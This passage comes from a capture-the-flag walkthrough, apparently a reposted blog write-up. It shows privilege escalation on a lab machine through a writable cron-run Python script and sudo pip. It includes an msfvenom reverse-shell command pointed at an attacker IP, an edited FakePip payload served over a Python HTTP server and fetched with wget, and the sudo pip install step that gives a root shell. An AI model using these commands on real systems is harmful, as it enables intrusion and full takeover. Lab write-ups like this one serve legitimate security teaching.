![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ar89CTFfvH4/W27Jxm0dPGI/AAAAAAAAZrA/OxyU21oMFfM8fHXn1JHoPL7-HMoUGI7TwCEwYBhgL/s1600/11.png?w=687&ssl=1)
Now when we open the python file we find that it is opening and test file and writing “test” inside it. To exploit this, we replace the code with shellcode. First, we create a msfvenom payload.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-T_Hgl29-kyU/W27JylqbqzI/AAAAAAAAZrY/FrdaxLB9FUYzot4G8UPsFJbGUopUD9nmgCEwYBhgL/s1600/12.png?w=687&ssl=1)
After creating the payload, we open the “. antivirus.py” file and comment out the earlier code and insert our payload without adding “python -c”.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-oW4yndSZatQ/W27Jy93Nx9I/AAAAAAAAZrM/XA--GArQ3dkQPJdZlVHpOxhGuOhiJiUhwCEwYBhgL/s1600/13.png?w=687&ssl=1)
We set up our listener using netcat, we wait for a few minutes for the script to get executed. As soon as the script is executed we get a reverse shell. When we check the UID we find that we spawned a shell for devops. Now we go to /home/devops directory and find the second flag. After getting the second flag we find that we can execute pip is a superuser without root.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-pv7UULRuz50/W27JzEXqOpI/AAAAAAAAZrU/FLXek_2gkfc2MeRivQOPCT6tTR7r7S_BgCEwYBhgL/s1600/14.png?w=687&ssl=1)
Now there is a script called Fakepip (download
[To see content please register here]
), that can be used to exploit this vulnerability.![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-oyTBd0ZX9oQ/W27Jzt87N4I/AAAAAAAAZrM/KSta4pWP0lMldx_BQ1k4XwHW1arVeF51QCEwYBhgL/s1600/15.png?w=687&ssl=1)
We download the fakepip script into our system to edit the payload inside.
git clone
[To see content please register here]
1
git clone
[To see content please register here]
We edit the payload inside os.system function.
![[Image: 17.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-flmanQMs9uY/W27J071ETpI/AAAAAAAAZrA/wb0xU-jeYMsv19tTOhB_JXKWE5jqM2mygCEwYBhgL/s1600/17.1.png?w=687&ssl=1)
We decode the base64 encoded string and change the IP address to our IP address. Then we again convert the string to base64 and replace the older string with the new one.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ctLs6VgSLFo/W27J1JnPcYI/AAAAAAAAZrU/GA6-7hfDKJIb_wleTksVddCQ6TpPWmKpwCEwYBhgL/s1600/17.png?w=687&ssl=1)
We start the python server on our system so that we can upload the FakePip script into the target machine.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 16.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-05Wj8Zxg-wY/W27Jz7Eu0eI/AAAAAAAAZrY/TnwCOtVDbU8ElQfcVIp07ItxGTXVilrKgCEwYBhgL/s1600/16.1.png?w=687&ssl=1)
After we start HTTP server, we download the script on the target machine using wget. Now execute the command as per the instructions were given to us on the FakePip readme file.
wget
[To see content please register here]
sudo pip install . --upgrade --force-reinstall1
2
wget
[To see content please register here]
sudo pip install . --upgrade --force-reinstall![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-GnS4AliNaow/W27J1fW24_I/AAAAAAAAZrY/7X6zL6IA9hkQm3eSik3iWwp1L5jVBh72ACEwYBhgL/s1600/18.png?w=687&ssl=1)
As soon as we run the command we get a reverse shell as the root user. We now go to the root directory and find the root flag.
![[Image: 25.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-Jf3Q-59QrmQ/W27J2WncMHI/AAAAAAAAZrE/1G6BZ4jwVoQDfIxDG6qmocaDmFUcxyUJgCEwYBhgL/s1600/25.png?w=687&ssl=1)














